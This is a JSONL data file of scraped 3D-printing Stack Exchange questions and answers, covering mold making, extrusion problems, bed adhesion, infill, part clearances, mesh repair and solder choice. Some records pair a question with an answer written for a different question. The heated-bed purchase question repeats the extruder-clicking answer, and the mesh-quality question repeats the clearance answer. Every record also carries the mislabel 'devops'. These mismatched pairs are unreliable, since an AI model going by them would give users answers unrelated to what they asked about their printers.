{"id": "hf_b4869ab79077", "question": "<p>3D printing can be used to make injection molds of unimaginable complexity but which kind of 3D printing process is suitable when? </p>\n\n<p>Suppose that a part is to be made using injection molding in large quantity for an extended period of time, what Additive Manufacturing (AM) process will be the best, such that the mold does not give way too soon? </p>\n\n<p>Also, suppose that the part to be made is custom and only has to be made in small quantities - that is to say that the injection mold will be used limited number of items and then thrown away - which is the best AM technique then? Best in the sense of economic feasibility, lower cost, lower capital investment etc.?</p>\n", "question_body": "", "answer": "Yes, this is very broad. That said...\nFor high detail you want SLA. i.e. jewelry. If you just want a prototype of a mold, you can do a standard FDM style printer (95% of printers are FDM, and that number is a guess)\nReally, you should be asking what material you need for your mold, but you can open a second question for that.\nDo more research on injection molding. There is a great deal of information on how molds are made, i.e.\nHow It's Made Plastic injection molds\n.\nYou will see there is a vast difference between a plastic, or silicon, mold and an injection molding machine. You are thinking that injection molding as a single mold, when it is really it is a system composing of several pieces of heavy duty machinery that can pump out hundreds of items a day automatically. However, it usually starts at 20k USD for the tooling for injection molding. Your costs could be a fraction of that or could be several times that. This is just a generality. So, if you are making 100 units you won't want to go down that route. For 10,000 units, on the other hand, it would be acceptable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.114379"}
{"id": "hf_3860fae7ffdd", "question": "<p>I have Prusa i3 derivative with MK8 extruder and Marlin 1.1RC8 as firmware. I already reduced the default speeds as well as the accelerations. But sometimes when trying to print with BQ PLA filament (220°C), mostly during filling areas, my extruder clicks. The below screenshot of Slic3rs Layers view shows the clicking \"lines\".</p>\n\n<p><a href=\"https://i.stack.imgur.com/Rzmxn.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/Rzmxn.png\" alt=\"enter image description here\"></a></p>\n\n<p>What settings I need to change to avoid the overextrusion in this case?</p>\n", "question_body": "", "answer": "The only time that I've observed clicking from the extruder on my Anet-A8 is on the first layers when I have the head height set too low - the nozzle is unable to extrude at a high enough rate to allow the filament to progress as requested.\nIf you have a somewhat repeatable scenario, you could try reducing the filament feed rate to 90% or so, and see what effect that has. I have already observed with one of my reels of filament that 90% feed rate gives me a less over-filled solid area, so maybe the default feed rates are a little on the high side (or this filament is of excessive diameter).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.145791"}
{"id": "hf_157d2526a3d3", "question": "<p>I'm looking to buy my first 3D Printer, on a tight budget of $250. Unfortunately, this printer that I found on Amazon comes with all the bells and whistles, <em>except</em> for a heated bed. </p>\n\n<p>I want to know if this would affect printing severely, as I have read that the plastic/ filament cools down rather quickly, and that it results in Printer \"fails\". </p>\n\n<p>I'm actually a bit nervous with this buy, as I don't want to spend $250 on a printer that produces 90% print fails.</p>\n\n<p>An example of the printer I'm referring to is the <a href=\"http://rads.stackoverflow.com/amzn/click/B015FXQZ6O\" rel=\"noreferrer\">Cube 3 Printer, Grey\nby 3D Systems</a>.</p>\n", "question_body": "", "answer": "The only time that I've observed clicking from the extruder on my Anet-A8 is on the first layers when I have the head height set too low - the nozzle is unable to extrude at a high enough rate to allow the filament to progress as requested.\nIf you have a somewhat repeatable scenario, you could try reducing the filament feed rate to 90% or so, and see what effect that has. I have already observed with one of my reels of filament that 90% feed rate gives me a less over-filled solid area, so maybe the default feed rates are a little on the high side (or this filament is of excessive diameter).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.166755"}
{"id": "hf_252d50a5f8e9", "question": "<p>Just started doing some design. First project was a replacement handle for my angle grinder, so basically a hollow cylinder. I want to reduce the amount of material used in the print. I could sit here and punch holes through the handle with a smaller cylinder, or some other shape etc., but is there an easier way to do this?</p>\n\n<p>It must be a pretty common requirement, just like in the movies where the spies look at a photo and tell the tech to 'enhance ... enhance'. Ideally you could select a surface and overlay some sort of pattern to remove material.</p>\n", "question_body": "", "answer": "Updated to match the improved question format.\nThere are a few ways to reduce material usage. First is what you have touched on. Which is to reduce the design by punching out holes, and removing all material that does not add anything to the structure. Even better is what you touched on, reducing it to the point where your print is more like a suspension bridge, where it is a the bare minimum scaffolding in a geometric pattern.\nMost tools you will find for reduction are like\nthis tutorial from Shapeways on Meshlab\nwhere you reduce the surface detail. It might be worth exploring these a bet, however probably not what you really need.\nNext the more hard core cad tools such as solid works will allow you to preform\nParametric optimizations and Topology Optimization.\nTopology Optimization. seems to be your real winner\nNow from the 3d printer standpoint we just simply tweak our slicer settings. There are entries for Infill. I usually print with 7% infill. AKA my print is 93% hollow inside. I then set a few solid shell layers. Think of solid shells as the skin. Usually that is enough to reduce my plastic usage. The only reason I don't make a part 100% hollow and a few solid skin / shell layers is that I need something to print on top of or if I need the part to be strong . Even low percent infill can be very strong if the correct geometric pattern is used (I.E. triangles).\nGenerally the reduced infill will be enough, unless you are making thousands of this item, though in that case you are probably not going to 3d print it anyways.\n3dprintingforbeginners\nhas a nice article on the relationship between infill, number of shells and part strength. A bit more information about the terminology (infill/shells/etc...) can be found on\n3D printing blog\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.187462"}
{"id": "hf_5524f010fbca", "question": "<p>I've read different things about PLA and heat-bed. Some say it is not needed, others recommend 60-70°C, but not for the first layers.</p>\n\n<p>For larger objects I often have the problem that the object does not stick to the blue-painters-tape-covered aluminium print plate. Instead the print \"curls\" up on one or more corners. To reduce this effect, I'm using a brim between 5 and 10mm. Depending on the size of the object the brim works quite well. Will heating the bed also improve the print quality by reducing the amount of heat warping / curling?</p>\n", "question_body": "", "answer": "It really depends on your formulation. 70 °C would be on the higher end. I think I do between 70 °C - 75 °C. Not any higher.\nAdd a glue from a glue stick to help with keeping it on the bed.\nUse a raft to reduce the issue as well.\nA fan is the number one thing you can do.\nThe last solution is to build a heat enclosure. They are not on every 3D printer because of patents blocking them. You can easily make your own.\nTechnically it is not 100 % needed, i.e. the MakerBot does not use it, but the guys at MakerBot have PLA down to a science.\nAlso I thought Kapton is not for PLA usually... see these\nMatterHackers\narticles:\nHow to succeed when printing with ABS\n;\nHow to succeed when printing with PLA\n.\nFrom\nRepRap Wiki - Glossary\n:\nRaft\nA technique used to prevent warping. Parts are built on top\n  of a 'raft' of disposable material instead of directly on the build\n  surface. The raft is larger than the part and so has more adhesion.\n  Rarely used with heated build surfaces. For the small area models, it\n  is very useful to prevent warping via adding a raft for the model\n  before slicing it. It can also help with with precision parts by\n  removing the slight first few layer distortion caused by the heated\n  bed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.210457"}
{"id": "hf_e6c8cec352eb", "question": "<p>I'm in the process of building the <a href=\"http://www.thingiverse.com/thing:1001065\" rel=\"nofollow noreferrer\">D-Bot core XY</a> printer, and I was hoping to know if the Z-axis 'zero' is near the hot end or near the bottom of the printer furthest away from the hotend? In this printer the Z-platform moves up and down and the nozzle stays at the same height.</p>\n", "question_body": "", "answer": "Yes, Z-Zero is typically at the \"top\" of the printer, closest to the nozzle(s). X and Y zeros are also typically in the lower-left corner of the buildplate.\nHowever, the XY zeros are re-interpreted in slicing software to produce cleaner G-Code as it's sometimes difficult to read G-Code in negative coordinates. For this functionality, slicing engines utilize the machine build space length and width.\nSo if you encounter a situation where your machine \"over travels\" in either -X or -Y direction during startup, verify that the length and width of your build space is correct in your slicing engine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.233658"}
{"id": "hf_0dd6533dc36e", "question": "<p>When printing the first layer, the infill overlaps on just one side of my print. Thereupon there's a rough, and a lot higher, surface on the first few millimeters after the wall. </p>\n\n<ul>\n<li>Printer: Arduino Materia 101</li>\n<li>Filament: Rec Pla</li>\n<li>Temp: 210 degrees</li>\n</ul>\n\n<p>I have tried to troubleshoot it, but I just found information about a problem when the infill isn't close enough to the wall everywhere.</p>\n\n<p>However, for me, the problem is the contrary and just on one side. </p>\n\n<p><a href=\"https://i.stack.imgur.com/SFYAqm.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SFYAqm.jpg\" alt=\"Photo of overlap\"></a></p>\n", "question_body": "", "answer": "Yes. That happens. I personally prefer this to the alternative which is it does not go far enough and curls back. That said depending on your slicer you will have a line overlap tolerance. But what's really happening is you are smooching your first layer. Aka your hot end is too high in relation to your first layer multiplier.\nFailing that and if you see it later in the print. Again I don't think you really can fix it but you should recalibrate your printers firmware, steps per mm and your slicers filament size.\nLooking at it I again it is a bit much. Maybe the plate is not flat. Does it happen on any other sides? After that we have the unlikely case your hotend is too hot. Which the slow down of the printer could cause too much material to ooze out. But I'm going to say plate level as number one suspicion.\n3D printing is a lot like trying to spin 3-4 plates at once.. if you still have issues I can expand more on calibration steps you need to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.257069"}
{"id": "hf_365e6ca33080", "question": "<p>When trying to print parts that should contain certain sized holes, e.g. for screws, how to achieve that they are sized correctly?</p>\n\n<p>Is it possible to calibrate the printer perfectly, so it prints holes correctly sizes in all common sizes (e.g. starting at 2mm diameter)? Or is it better to design the holes larger or print prototypes and increase the sizes according to the real prints?</p>\n", "question_body": "", "answer": "The reason holes come out undersized is generally the slicer\n, so calibrating the printer itself cannot solve the issue (without making other things worse). The output of the printer is exactly what it should be, given the G-code provided to it. It's just that the G-code does not represent the hole diameter correctly.\nIt would be best to simply account for the deviation in your design, or simply drill out undersized holes to the correct diameter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.290314"}
{"id": "hf_d1e09cf49fdd", "question": "<p>I run a high school 3D printer lab and we have several 5th generation MakerBot printers. On one of them I have considerable trouble with \"thin\" prints and filament slip warnings.</p>\n\n<p>So far I've tried changing extruders and using different filament rolls with no luck. But, if I move the job and the extruder to a different printer it works.</p>\n\n<p>I'd appreciate suggestions for how to sort this out. I would have expected the slipping problems to follow the extruder.</p>\n", "question_body": "", "answer": "Oh interesting. By slips, I take it you mean that the raw filament slips, not the print slips.\nThis will happen for a few reasons. First the tooth gear that grabs the plastic is either:\nWorn out\nOut of place\nNot the correct distance from the guide wheel.\nThis is all part of the mechanism that the Smart Extruder attaches TO. Not the Smart Extruder itself. You might be able to fix this yourself, worst case you will need a replacement assembly from MakerBot.\nI would look into online auction sites for the part\nAnother option is to try thicker filament. Which you might be able to custom order. So instead of 1.5, maybe get 1.8. I am not sure where you can buy off sizes.\nFrom there this machine might just be getting jammed. It happens to some machines. This again points to the base of the X axis assembly.\nLast which I would say is not likely as you have tried multiple extruders, you might have the nozzle becoming clogged. I often pop open my extruders\nvoids warranty\nand clean them out. Also micro hand drills are a good option here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.347211"}
{"id": "hf_3e41dfeab02b", "question": "<p>I am planning on buying a cheap 3D printer to get into 3D printing, but the printer I'm planning to buy only takes 1.75 mm filament, I was wondering if it might be possible to change the hotend of that printer or something to take in 3.0 mm filament, the reason I want to use 3.0 mm filament is because it is cheaper than 1.75 mm filament.</p>\n", "question_body": "", "answer": "First it really depends on your printer / extruder. That said generally 1.75 mm is cheaper and much more common.\nIf one were to change the hotend, likely you will need to replace most or all of the hot end. In the case of my personal hot ends, when I did this conversion I had to replace both the tube and the PETF lined mouth. I did not have to replace the tip, core, or the thermsister.\nMy advice is to pick a different printer. You see 3 mm on older extruders like J Head direct gear from around 2012-2013 and Bowden style (like the Ultimaker) use 3 mm (actually 2.85 mm).\nPossible yes, advised, no.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.369086"}
{"id": "hf_ac1d40cd122b", "question": "<p>I would really like to be able to print moving parts that fit well enough to move without excessive friction, but also aren't excessively loose.  Using an Ultimaker 2, what should be my expectations be, and how would I go about produce well fitting parts?</p>\n\n<p>Using a tool like Openscad to generate parametric parts is really useful because it facilitates the creation of geometrically precise parts such as cogs and drive shafts, which also have precise dimensions.  The problem arises when the parts are printed and joined together.  </p>\n\n<p>I recently printed some cogs that were supposed to be able to rotate freely around a shaft, which was also printed.  I made the shaft about 0.1 mm smaller than the center hole of the cog expecting it to be able to rotate freely, however I found that I had to bore out the center hole slightly and sand down the shaft.  I then found that the boring was imprecise and the center of rotation was off center.  </p>\n", "question_body": "", "answer": "I think that you've got the right idea in concept, but benchmarking is typically the best way to prove this out.\nYou should get in the habit of designing with assembly in mind.\nThis means:\nHole sizes should be larger than intended and/or shafts should be smaller than intended\nScaling does not always solve the issue! Avoid relying on scale tools as it can result in reducing/enlarging features you did not intend to scale\nMy own experience has shown that a\nclearance\nof about\n0.005\" to 0.010\"\n(~125μm to ~250μm)\nshould be enough. However it may be different for your situation with a different printer, filament, climate, etc.\nAlso consider material shrinkage from the printing process!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.391256"}
{"id": "hf_720bcf3a9128", "question": "<p>tried searching but couldn't find anything.\nI do not have a 3d printer so can't really experiment on my own, which means that when I am going to order a 3d print I want to get it as good as possible. So, my question:</p>\n\n<p>Do quality of geometry matters when 3d printing? Will 3d printer only print quads, or ngons are fine? Are there shapes to avoid?</p>\n\n<p>Cheers :)\nM.</p>\n", "question_body": "", "answer": "I think that you've got the right idea in concept, but benchmarking is typically the best way to prove this out.\nYou should get in the habit of designing with assembly in mind.\nThis means:\nHole sizes should be larger than intended and/or shafts should be smaller than intended\nScaling does not always solve the issue! Avoid relying on scale tools as it can result in reducing/enlarging features you did not intend to scale\nMy own experience has shown that a\nclearance\nof about\n0.005\" to 0.010\"\n(~125μm to ~250μm)\nshould be enough. However it may be different for your situation with a different printer, filament, climate, etc.\nAlso consider material shrinkage from the printing process!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.415353"}
{"id": "hf_e56007b437dd", "question": "<p>I'm trying to design a camera handle, which will be around 8\" long and will have a brass camera thread insert in the end, where the camera will be mounted.  (That way, I don't have to screw the camera thread into plastic which will wear out faster.)</p>\n\n<p>If I print the handle normally, the end of the handle won't be solid so I can't solidly put that brass fitting in.  If I set the fill in Cura to 100%, the print will take a very long time and will be unnecessarily solid.  I only need a centimeter or two at the end to be solid.</p>\n\n<p>Is there a way to get one particular wall in Cura to be very thick (1-2cm) without affecting the other walls?  Is there some other way to get a solid chunk in the end of the part?</p>\n", "question_body": "", "answer": "I think you are approaching this wrong. Sounds like you need to design it to have a hollow wall. That said to answer your question no you cannot have your slicer modify prints like that. But it bears mentioning you can set all shells to what ever you want have have a very sparse infill. To you can set vertical shells to 3 or so. Top to 3 bottom to 2 and infill to 7-15% so it will be 93% hollow not counting the 3 layers of solid skin.\nPost pics of your design. Or let me know what else I can add. Check out my answer to this\nother stack overflow question", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.439584"}
{"id": "hf_bbc918ab5d0b", "question": "<p>I have never much cared about self intersecting meshes when slicing with Cura. Geometry like the one below are often practical. I for instance add lots of rivets that self intersect with the base geometry:</p>\n\n<p><a href=\"https://i.stack.imgur.com/cRZqk.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/cRZqk.png\" alt=\"self intersecting mesh\"></a></p>\n\n<p>Now I have switched printer, and am using Simplify3D instead. All of a sudden, I get lots of problems with these models. The intersection of the objects become hollow. Simplify3D has a setting to join the outer solid shell but it also fills holes (such as the center hole of a gear).</p>\n\n<p>I make models to sell so this is a big deal for me.</p>\n\n<p>EDIT: Also, they printed perfectly fine in formlabs \"slicer\".</p>\n", "question_body": "", "answer": "Self intersecting meshes are considered dirty, yes. The reason you haven't had trouble before is probably that the software you were using was cleaning your mesh for you, behind the scenes.\nGenerally speaking, these meshes can be cleaned without too much trouble by software like netfabb (\nhttps://www.netfabb.com/\n) which has a nice free version that I use for basic cleaning of some of my meshes. A quick google on \"netfabb free fix mesh\" should turn up a tutorial or two.\nIf you're interested in learning more about an operation you can use to make this a\nsingle unified mesh\n, it's called a Boolean Union, and the blender project has a nice (open source, I think?) implementation of such: (\nhttps://www.blender.org/manual/modeling/modifiers/generate/booleans.html\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.488109"}
{"id": "hf_5b079d29ff71", "question": "<p>I'm new with my 3D printer, I just print two different pawn pieces from thingverse. I just used Cura to convert the files to be readable for the printer. Is my problem with the pieces has to do with the configuration from the Cura software? or with my printer itself? </p>\n\n<p><a href=\"https://i.stack.imgur.com/xh3Bi.jpg\" rel=\"nofollow noreferrer\" title=\"Print showing issue\"><img src=\"https://i.stack.imgur.com/xh3Bi.jpg\" alt=\"Print showing issue\" title=\"Print showing issue\"></a></p>\n\n<p>Update:</p>\n\n<p>I just printed a baymax that came with the SD printer. And it looks awesome. I think the problem is with the configuration from Cura.</p>\n\n<p><a href=\"https://i.stack.imgur.com/iXMhm.png\" rel=\"nofollow noreferrer\" title=\"Print of acceptable quality\"><img src=\"https://i.stack.imgur.com/iXMhm.png\" alt=\"Print of acceptable quality\" title=\"Print of acceptable quality\"></a></p>\n", "question_body": "", "answer": "That looks like horrible underextrusion. Either the extruder steps/mm are way off, but more likely is that your nozzle is clogged (because I wouldn't expect the steps/mm to be this far off). It's also possible that the temperature you're printing at is inappropriate for the filament you're using. Also, make sure that the fan that is cooling the heatsink of the extruder is always on. If not, filament may soften in places it's not supposed to and jam.\nTry heating the extruder up and pushing the filament through by hand. You'll probably feel a lot of resistance and the filament won't come out smoothly. You could try doing a couple of\ncold pulls\n, that is, put a piece of filament in while the hotend is hot, then let it cool down and attempt to extract the filament at the lowest possible temperature. This may pull debris or particles blocking the nozzle out.\nIf this doesn't help, there are various other ways of clearing a clog from the nozzle. One popular technique is disassembling the entire hotend and burning out all the debris from the nozzle with a blowtorch. Another is using a special drill bit to clear out the nozzle but this has a high risk of damaging it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.510958"}
{"id": "hf_db053ed1ea98", "question": "<p>Hello is there a way to prevent bend on print with M3D printer? </p>\n\n<p><a href=\"https://i.stack.imgur.com/j2IRe.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/j2IRe.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "You can to print a brim, a thin layer on the bottom connected to the model. This will help hold it in place. Since it is thin (one or two layers) it will not warp itself.\nThe brim is not the same thing as a raft. A raft is under the model. The brim is on the same layer as the models bottom layer but outside the model. It looks something like this:\nI assume that you use a heated bed if you have one?\nAlso, it is imperative that you get a good first layer. Calibrate your machine carefully.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.534118"}
{"id": "hf_632273d46db4", "question": "<p>I recently had a problem with the z-axis of my printer. To resolve the issue with the Z axis not moving I remove the left polished rod. Am I able to use the printer with just one smooth rod?</p>\n", "question_body": "", "answer": "First a resounding no. Not a good idea. Are you saying it works now that you have removed the smooth rod?\nThat tells me for sure your issue was Binding. Which is a tricky problem to solve. Binding usually happens when your carriage is not level. Take a bubble leveler and verify.\nAnother time it happens is when your Acceleration / Jerk settings are too high. Try reducing the Acceleration for Z in the firmware.\nAnother possibility is your rod is Bent. Take the rod on a flat surface. Inspect it as you roll it around. Do the same with the other rod. If it bows and is not completely flat, then you will need to replace it.\nLast is make sure your printers frame is put together. If it is causing the rod to bend as it is not aligned right then you should try to see if you can fix it and contact the seller.\nTechnically you can run without the second rod. Maybe. I do not advise. It is sort of like cutting off a leg because you have a cramp. It will hurt your overall quality and it is better to just resolve the issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.552546"}
{"id": "hf_92d843ef440e", "question": "<p>I want to create parts for a 3D printer using OpenSCAD. Having some STL files from the vendor, but nothing else (no technical drawing, no CAD files).</p>\n\n<p>Does anybody knows a free tool, that allows me to</p>\n\n<ul>\n<li>measure distances between 2 selected vertices,</li>\n<li>measure distances between a selected vertex and a plane defined by 3 vertices,</li>\n<li>measure the radio of a circle defined by 3 selected vertices?</li>\n</ul>\n\n<p>I very much like the way Blender allows to work with meshes, especially select vertices or planes, but unfortunately haven't found a way to measure with Blender.</p>\n", "question_body": "", "answer": "I suggest Blender. It's not the simplest of tools but it is free and learning it will improve your 3D printing skills. :-) (I write this answer also for future viewers of this question so I start basic).\nAnother answer can be found here,\nHow do I measure a distance between two points?\nImport your STL file.\nPress the Home key to view everything.\nSelect the model by clicking on it with your left mouse button. (Blender changed to left-click-select as of version 2.80)\nHit tab to enter edit-mode.\nPress N (or use View | Properties) until the Properties panel shows up.\nSelect the \"Length\" checkbox in the \"Edge Info\" section of the Properties panel (see image below).\nSelect \"Edge Select\" mode (see image below)\nSelect the edge to measure by clicking on it with your right mouse button.\nIf you need to measure the distance between to vertices with no edge. Create the edge by selecting them and pressing\nF\n.\nIf you need to measure the distance between a vertex and any other point, select it and press\nE\nto extrude.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.586216"}
{"id": "hf_d6880ed9c091", "question": "<pre><code>Nozzle diameter = .4\nExtrusion multiplier = 1\nExtrusion Width = .45    &lt;-- I feel like this could be reduced to fix it?\n\nLayer Height = .3\n</code></pre>\n\n<p>I'm using Simplify3D.</p>\n\n<p><a href=\"https://i.stack.imgur.com/SsiMS.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/SsiMS.jpg\" alt=\"enter image description here\"></a>\n<a href=\"https://i.stack.imgur.com/1tTZ5.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/1tTZ5.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "Oh thats simple. First you will see the \"elephants foot\" on first layers if you have the extruder over-extruding or do not have enough distance between the bed and nozzle.\nIt's very common that the first couple of layers of a print is wider than you expected them to be. This is because you will generally want to make sure the first layer is nicely squished into the build platform so that it sticks properly. By doing this the plastic gets squished out into a thicker line than normal and thus the bottom of the print will bulge out a bit like an elephant's foot. You can decrease this effect by leveling your bed so that the nozzle is slightly further away from the bed and lowering the bed temperature a bit. It's hard to get rid of this effect entirely without sacrificing bottom layer quality and bed adhesion. It will be easier on small prints as they are less likely to warp and detach from the platform and you can therefore get away with not squishing the first layer as hard.\nSee this visual guide on more information\nIf you are seeing this on all layers. That means you have oozing. When your printer hits the end of the line. It has to slow down, stop and start the next vector. During this time if your printing very hot, you will ooze material at this intersection. Also the extra time over that spot mayhaps also warm the corner, causing more disruption. Best thing in this situation is to verify you cannot lower temps more. Add a fan. Also double check that you are extruding the exact amount you think you are. (distance of material and the material size average)\nHere is another visual trouble shooting guide\nI will note, I don't think thats too bad. If it needs to fit into something, just clip it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.608468"}
{"id": "hf_91f6d5f3acdb", "question": "<p>I've build a 3D printer from sourced parts and mounted the hotend cooler to blow air over the heatsink. </p>\n\n<p>Talking to a friend, he said it's better to reverse the airflow over the heatsink, but couldn't give me an argument other than everywhere he saw it was like this: all coolers are mount to suck the hot air away from the heatsink.</p>\n\n<p>Is it one way better than the other way ? And if so, why ?</p>\n", "question_body": "", "answer": "In the case of 3D Printing, it's going to be faster to cool the radiator by blowing out the heat from the source.\nThe idea is that you're trying to get rid of as much heat as possible in the quickest means possible. By blowing away from the radiator, you're allowing the ambient temperature to cool the hot air being blown out.\nIf you were to blow the ambient air towards the radiator, the blown air will warm slightly as it is overwhelmed by the heat of the radiator. Even though the ambient air may be cooler, it will take more time to cool off the radiator.\nExample of bad airflow, which will take much longer to cool the radiator:\nExample of good airflow, allowing the hot air to be quickly cooled by the ambient temperature of the build space:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.707079"}
{"id": "hf_0c7a2caaa4a9", "question": "<p>In <a href=\"https://3dprinting.stackexchange.com/a/3116/37\">this question</a> I was told that I should use silver solder to connect the heating element to the power supply.</p>\n\n<p>(I was also told that a ceramic extruder head was the way to go, but I'm working with what I have)</p>\n\n<p>I bought two types of silver solider from Radio Shack: </p>\n\n<ul>\n<li>96/4 Silver-Bearing Solder, Lead-Free 0.62\" diameter.</li>\n<li>62/36/2 Silver-Bearing Solder, 0.15\" diameter.</li>\n</ul>\n\n<p>Is there any reason I should use one of these over the other to power the heading element of the J-Head extruder?</p>\n", "question_body": "", "answer": "The first is not suitable. ASTM96TS Sn96Ag4 has a melting point of 221–229 °C according to\nWikipedia\n. Pb96Ag4 would be OK, but that is not lead free so doesn't seem to match your description.\nUpdate from comment to explain the letters and numbers: the data comes from wikipedia, the numbers are Tin(Sn) 62%, Pb(Lead) 36%, Ag(Silver) 2%, for example, see below for an electronics solder compound\n.\nSn62Pb36Ag2 is an ordinary expensive electronics solder (but not lead free), with an even lower melting point.\nYou need to find a high temperature silver solder, with a melting point of about 305 °C (which confusingly might be a soft silver solder), for example one of\nthese\n. Hard silver solders melt at 600 °C, that would be excessive in this application.\nThe nomenclature 'silver solder' came about before lead-free electronics solder was introduced, since when more alloys containing silver have become popular as general purpose solders.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.734010"}
{"id": "hf_5c34816ffbe0", "question": "<p>I'm using a Flashforge Pro and attempting to print a wheel about 6mm thick to serve as a platform.  In other words, the wheel doesn't have to be solid, but spokes won't do the job.  I've experimented with different temperatures, but, because of ABS' thermal expansion, I don't think that will solve the problem.  Also tried putting lots of 2mm holes in the wheel.  I've considered other designs for the interior, but doubt that would be a solution.  Has anyone tried using different print paths, i.e. actually altering the path that the slicer suggests?  (grasping at straws)\nThanks for your suggestions.</p>\n", "question_body": "", "answer": "If you can, set your slicer to do honeycomb fill.  Depending on the weight requirement choose maybe 10% - 20% fill.   That ought to do the trick.  It won't be solid, but it should be strong enough.\nWhat are you going to put on the platform?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:49.762316"}
